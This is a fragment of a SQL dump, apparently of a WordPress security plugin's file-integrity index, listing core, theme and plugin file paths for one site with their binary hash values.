('*b*ee','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HSalsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x\\8zM~.','vR\0S~[\rҮ6o:Ś\r]','',0,'?'),
('*Lm&&2\nb','wp-includes/js/tinymce/utils/form_utils.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/utils/form_utils.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';RTj鍉\n','ꚅ\rgH	K>醶%2','',0,'?'),
('*`Uz]\"L%1','wp-includes/sodium_compat/src/Core32/HSalsa20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/Dzxǂ',',E{0/maXi','',0,'?'),
('*mBvH\ne','wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_font-sizes.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/utilities/_font-sizes.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','fMiGxVs','iY4t4|->1]f)JIZl','',0,'?'),
('*	7ei','wp-content/plugins/header-footer-code-manager/images/logo.png','/home/trevorkl/trevorklee.com/wp-content/plugins/header-footer-code-manager/images/logo.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ğ ','us4$sv)#-æ3<tC0]\'B','',0,'?'),
('*\Z07ѥ1Oَ8','wp-includes/js/json2.js','/home/trevorkl/trevorklee.com/wp-includes/js/json2.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\ZSmՕliBjb','!XfD6p;O1@','',0,'?'),
('*!0a','wp-includes/js/dist/admin-ui.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/admin-ui.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h=P(Je\Z','<\r`=8*uWۄYw&EBT-1ϔ@Y','',0,'?'),
('+(-V&S_2X7f','wp-includes/blocks/paragraph/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/paragraph/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G2\\QNռ\nHt','Jdzg\n>I|-LBa?,cΠ','',0,'?'),
('+\Z#(ƒv','wp-includes/blocks/comment-template/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-template/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')mKtd;xu','	E2wb\0RI*J0黷ʼ','',0,'?'),
('+ac*6Ǿ','wp-content/themes/twentytwentythree/patterns/hidden-comments.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9Cʑj#O','j|JiY tr4U˙\rPSU|q','',0,'?'),
('+ 1xF;Sb','wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aQY+f','XpnuO(:abPQ馃z7','',0,'?'),
('+&MщqYv','wp-includes/blocks/accordion/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','oJCX$R','pVNeBG!;','',0,'?'),
('+3)|m3s\rj','wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o%Йt*(','A؞kz]Dڪ&d_\'O^]','',0,'?'),
('+9[BUEe','wp-admin/js/updates.js','/home/trevorkl/trevorklee.com/wp-admin/js/updates.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+e;q>kU/','T3lh?rfk\'kڭxm','',0,'?'),
('+=z58Q','wp-content/themes/twentytwentythree/styles/sherbet.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/sherbet.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qYfm=5HXx','6zxPw/\0KD4CI2˽','',0,'?'),
('+A#)՝xnH|7Ⱥ','wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-3-col.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-3-col.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','y9VPZ ','c~\0Ybi(I@^OΚ+','',0,'?'),
('+Jwܣ%ȟy.','wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-wide-margins.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-wide-margins.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}^?	ƚ/','n!o7>[UGnKT;a(d|Mm0i','',0,'?'),
('+es.k͘','wp-content/plugins/wordfence/css/fullLog.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/fullLog.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e.i`΁Uv','?>?hξ[²Pu{puaa','',0,'?'),
('+f=TU','wp-includes/SimplePie/library/SimplePie/Locator.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Locator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','r[1d\"Q3*','2Ռj_<Y*uC!AF','',0,'?'),
('+G*#f','wp-admin/network/site-info.php','/home/trevorkl/trevorklee.com/wp-admin/network/site-info.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','H[\r`LvC','mޥEdn*.	DuB66o{#v','',0,'?'),
('+\ZDZe}','wp-content/plugins/wordfence/views/onboarding/plugin-header.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/onboarding/plugin-header.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rۧ`_-`U9','jàJ<xAjʞұ<=f','',0,'?'),
('+Hj~','wp-includes/blocks/read-more/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')h@|-M;V\Z_ۑ\n','{شJh핶\'PP^yK34W+','',0,'?'),
('+t%R?','wp-admin/network/credits.php','/home/trevorkl/trevorklee.com/wp-admin/network/credits.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','B+KVe=','WNhK2ZFW\r08J5','',0,'?'),
('+bI=qY','wp-includes/blocks/freeform/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/freeform/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','VXEHei.ط','b+<ev\\2\0J*Y 04ߙqb','',0,'?'),
('+%hntr2','wp-content/plugins/wordfence/modules/login-security/views/passkey/options.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','e_JP$s(H','O1m^_ \nem=xZ','',0,'?'),
('+踺`[-*O','wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidAccessTokenException.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Exception/InvalidAccessTokenException.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aɅbaH\nA\\5y','tP~_8śG\Z6ږle3%H','',0,'?'),
(',eȲ7','wp-content/plugins/loginizer/main/social-base.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/social-base.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-ГlY4sR3','\0АcBn\ZVu<Ց!%*u','',0,'?'),
(',8zfD7 >','wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/dm-sans/DMSans-Bold.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Nd[M@','Q[\"7Ybn؎0MգYMH','',0,'?'),
(',< ?C]0A','wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/colorpicker/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ͶU裦h','ehӧ&έA3+WTh\n\Z)?','',0,'?'),
(',Dxtav#<;E','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W&hE5Ox','1\r*h\\BoB}_XD7','',0,'?'),
(',IpUwbA@#','wp-includes/blocks/spacer/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','64g1)b','SWli\"k0ML[T','',0,'?'),
(',R3Z9iG','wp-includes/blocks/search/theme-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/search/theme-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','O1f43Ѽ_0','}+{Ȗ19D\0W0S(\0sj(%%p','',0,'?'),
(',]\'N%ݑUeT)','wp-includes/js/dist/annotations.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/annotations.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ײcchP','H©,@Z!$ /RF','',0,'?'),
(',h^【+_&','wp-includes/blocks/comments/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yNu	&FeHp',')>VSKp(7H3w@e\09ǉ','',0,'?'),
(',zeY#uJ~[P\r','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' OpR{ҵGݍ','Y:BP5Ms_.ن֎','',0,'?'),
(',K%_7','wp-content/themes/twentytwenty/assets/images/2020-three-quarters-3.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/assets/images/2020-three-quarters-3.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	*9-Hf҅	X','ۼ=w{v^ȽCqF:@','',0,'?'),
(',@hjqrޒ','wp-includes/ID3/module.tag.id3v2.php','/home/trevorkl/trevorklee.com/wp-includes/ID3/module.tag.id3v2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'RI`sb','8t`pLf&Hp);%','',0,'?'),
(',(X\'%Z|','wp-includes/blocks/group/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/group/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','GѯNPh)x\n%','3\0ڄ[ySҬϊ_hdkJ21U','',0,'?'),
(',!Ro-R0','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-Medium.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%J:xi=Y','|}eGlѴǭŽ!p$','',0,'?'),
('-aTޱXJϓ','wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/verse/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M@-~Vrq<','BU\n^EFEי慎qd','',0,'?'),
('->\"x	I','wp-content/themes/twentytwentyone/assets/js/editor.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/editor.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~KaOVE','wr^V[׭H\"|iAuh,','',0,'?'),
('-\"RCg9Ѩ','wp-includes/blocks/math/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/math/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k~댵kRtW|','`C>Iԉg&}M\\<#\n','',0,'?'),
('-\'S/F\\ٟǩ','wp-includes/blocks/more/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/more/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('--ü$);J5','wp-includes/js/dist/rich-text.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/rich-text.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\'','\0e4ZL\rryƐ[','',0,'?'),
('-\\[Jץ','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/Ctx.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/Ctx.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','١\\rV;$Ist','1<7Ap40VPb#;T','',0,'?'),
('-jާ ~hyb','wp-content/plugins/wordfence/lib/menu_support.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_support.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&D\r>z9R|','e\Z9	(4?(_s6|U','',0,'?'),
('-kdϯXw\\7','wp-includes/admin-bar.php','/home/trevorkl/trevorklee.com/wp-includes/admin-bar.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','4\"	H\n K%','@B:iRFK]','',0,'?'),
('-Ǹ%w=','wp-admin/css/colors/ocean/colors.scss','/home/trevorkl/trevorklee.com/wp-admin/css/colors/ocean/colors.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XR1o|:c','{\r0pgr:&1BZMA=Qs','',0,'?'),
('-_mq+1','wp-content/plugins/wordfence/modules/login-security/classes/model/settings.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/settings.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eSC|4xD','	4L/>N6)9Q!}5q2.q$aV','',0,'?'),
('-)75y8cWv','wp-admin/about.php','/home/trevorkl/trevorklee.com/wp-admin/about.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*xwg\'<j\"/?','?rQ;4;hݓ9,{%]Ň','',0,'?'),
('-Rcv','wp-includes/SimplePie/src/Exception.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Exception.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Fb*n?LNf','Km*HAko!gG%2','',0,'?'),
('-_+YnS','wp-includes/js/jquery/ui/tooltip.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/tooltip.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?	k','#ĺny6/8\'HDdC','',0,'?'),
('-f4]#\"ul','wp-admin/css/colors/light/colors-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/light/colors-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Qp\'TMX\"','fAAQ}Y~/=,Y(sD;N|','',0,'?'),
('-{\nwQ^g','wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/blocks.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'Y!oh>NΔQ','_&.{#9oQzW-Y','',0,'?'),
('-eceu(5I\'','wp-content/plugins/wordfence/modules/login-security/views/page/manage-embedded.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/manage-embedded.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6\\J?-\nuAM','T+sߴ1rq3aR],_ޗr','',0,'?'),
('-藂Y{]ns','wp-includes/css/wp-pointer.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-pointer.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xݼzvş','M*)\\7fWƮE_k{4Y','',0,'?'),
('-dLƥXHm','wp-content/themes/twentytwentyone/assets/js/editor-dark-mode-support.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/js/editor-dark-mode-support.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','頧I1',';7[0BUl27k?A#S','',0,'?'),
('-(_T$*Z','wp-content/themes/twentytwentytwo/inc/patterns/general-divider-light.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-divider-light.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M--9j>P','#َk;pclcs]\'7tA@n*\"8_','',0,'?'),
('-^=?FF','wp-content/themes/twentytwentyfive/patterns/template-home-vertical-header-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-home-vertical-header-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3C\Z\0\'El/','YažNi-`A	L	}?ZF{+','',0,'?'),
('.\n]˯FVR','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.ttf.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.ttf.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7\\\ZEn','{GS0).~#m}:2','',0,'?'),
('. \0_oE]A_0PJ','wp-includes/js/tinymce/plugins/wpautoresize/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K.Aj_mr#i','\'Cb\"B\\NN*r&.XJ','',0,'?'),
('.IhU3+B\Z','wp-includes/images/admin-bar-sprite-2x.png','/home/trevorkl/trevorklee.com/wp-includes/images/admin-bar-sprite-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Q8o','*ETsal^pXZ\0','',0,'?'),
('.Y1~rv\'r\"2.','wp-includes/blocks/accordion-item/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-item/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','HKk1,','*Od(,ĽOv)i$^','',0,'?'),
('.h8bJ}ҋ','wp-admin/css/colors/blue/.htaccess','/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('.k;wq','wp-includes/blocks/post-author/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-author/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nyahIW','퀎-{R=] ,UWM','',0,'?'),
('.xϮ7_','wp-includes/js/mediaelement/mediaelement-and-player.js','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelement-and-player.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n.AJ4I','S{hdq(^s\'%a%','',0,'?'),
('.X7(','wp-includes/Requests/src/Requests.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Requests.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','A4Ly|^','XkF#D70z_T鵕Yt','',0,'?'),
('.=$.6(','wp-includes/blocks/button/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/button/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8ZHn׳-\Z/','1[gւ8́7Mfe#~w','',0,'?'),
('.E[Jlx','wp-content/plugins/wordfence/images/forward_disabled.jpg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/forward_disabled.jpg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','M_Z?N)Ҋ:5','/<>O&ȕJR݇e}(m','',0,'?'),
('.7fw9Pm@','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/jwt.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/jwt.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3\'Onń','bD\'N)}*B!:QT\"ɪD','',0,'?'),
('.*c6B>','wp-includes/PHPMailer/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/PHPMailer/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('.Ϡa?馺W8ӵ','wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XĪOWs','*nq`j\nSel1(','',0,'?'),
('/Tܠc6xM','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Expanded.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Expanded.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9DB!.o}&y~','h0P7MKh	#bA6GE䙼f','',0,'?'),
('/\n}DW`?','wp-includes/blocks/latest-comments/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-comments/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('/^\n\\?X','wp-content/themes/twentytwentyfour/templates/404.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/templates/404.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','{P.3^KY','dnђ vѰ~|>t!','',0,'?'),
('/%>(Y	<?]','wp-content/themes/twentytwentyfive/patterns/header-large-title.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header-large-title.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pAUNs/R	[','0j;,kf.d}A=ߘ~&v','',0,'?'),
('/*:o>t','wp-includes/js/dist/autop.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/autop.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\rA!yr{o',',8_LT3b{-','',0,'?'),
('/<ا^ɼf}\"$','wp-includes/images/media/document.png','/home/trevorkl/trevorklee.com/wp-includes/images/media/document.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','v48Αy6d','ø`f	I$ _ZX\"0\r,','',0,'?'),
('/xx@Q=,3t','wp-includes/js/dist/script-modules/a11y/index.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/a11y/index.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0\n	0ZR','_2PP?LɂC\n63˚dR','',0,'?'),
('/yCp','wp-content/themes/twentytwentyfour/patterns/template-home-portfolio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/template-home-portfolio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z q;[c\\','3ܦunmk\0ŹN{r+DS^','',0,'?'),
('/0F0BhI)','wp-includes/SimplePie/src/Locator.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Locator.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' 4~,5/^','-XjKr;j\0hӆ','',0,'?'),
('/\nٝwu-f','wp-includes/SimplePie/library/SimplePie/Cache/File.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Cache/File.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L;2TCyޅ`i,n','\\nWPI\'fg\0k<IBQÇ#q\'','',0,'?'),
('/-{˿cbdR','wp-content/themes/twentytwentyfive/patterns/format-audio.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/format-audio.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','x&/\Z{i@_','c,cůt}IY','',0,'?'),
('/Mn(sv','wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_menu-main-navigation.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ȁZ@q','z=ԬJϗ-h21XФEbX3Vլt.','',0,'?'),
('/sC4','wp-admin/network/setup.php','/home/trevorkl/trevorklee.com/wp-admin/network/setup.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	wTA;}Ad','韌\'MN+ƺRg','',0,'?'),
('/֤um`+','wp-content/themes/twentytwentyfive/patterns/binding-format.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/binding-format.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','aEY\"p[xq@e','yȼ\'a-,\r\'=\\쪸\0~','',0,'?'),
('/鹠ΰ1iw','wp-includes/images/uploader-icons-2x.png','/home/trevorkl/trevorklee.com/wp-includes/images/uploader-icons-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&-OÕ~','r\0\'_>6QW4ڠR','',0,'?'),
('/fPj>X','wp-includes/sitemaps/class-wp-sitemaps-renderer.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/class-wp-sitemaps-renderer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=^-|','*k$xFҟ\'qV<[7!','',0,'?'),
('/MZ(fh','wp-includes/Requests/src/Exception/Http/Status411.php','/home/trevorkl/trevorklee.com/wp-includes/Requests/src/Exception/Http/Status411.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ױ4IcIv\n\Zh',' oz^|}o\Z@7C	;9/D	F','',0,'?'),
('/5SQU۶v+','wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=>Kǆymn','o8+8Ƨ	7t]c','',0,'?'),
('0gl>؞VNV v','wp-includes/block-supports/custom-css.php','/home/trevorkl/trevorklee.com/wp-includes/block-supports/custom-css.php',0,'<~/TO','<~/TO','Ϣ|%pX +{ĉmH܏ߡj','',0,'?'),
('043^R+l','wp-includes/js/codemirror/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('06U4nB','wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-with-tight-margins.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-link-in-bio-with-tight-margins.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0G֛lmp7qq','E	rc=Ut.%Ō','',0,'?'),
('0<lڿJ','wp-includes/js/wp-backbone.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-backbone.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','G	1Y!z ','\"I`I:	OX7ꆼ)2','',0,'?'),
('0<9u;SZ\rj','wp-content/themes/twentytwentyone/inc/template-functions.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/inc/template-functions.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8wB<DK','>ɫv<+ʵF)dل3t','',0,'?'),
('0Bjf^P]^pC','wp-includes/images/media/default.svg','/home/trevorkl/trevorklee.com/wp-includes/images/media/default.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','̉\0x۟#ZeI4','nmfe{|8M>X60\\O','',0,'?'),
('0]qK\'fx','wp-includes/js/tinymce/plugins/compat3x/plugin.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','L{p׶Ҡ','m澑[S3\'J*Stsj','',0,'?'),
('0bƚT&F{eM\0','wp-includes/js/dist/latex-to-mathml.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/latex-to-mathml.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','V<[8G','.L3M2,H/F2ͷu','',0,'?'),
('0jVƽf:5`\\','wp-includes/js/customize-selective-refresh.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/customize-selective-refresh.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`ϖ:ۉ%*Xi+x','?Bȑzv;@Bq3Roo	wB','',0,'?'),
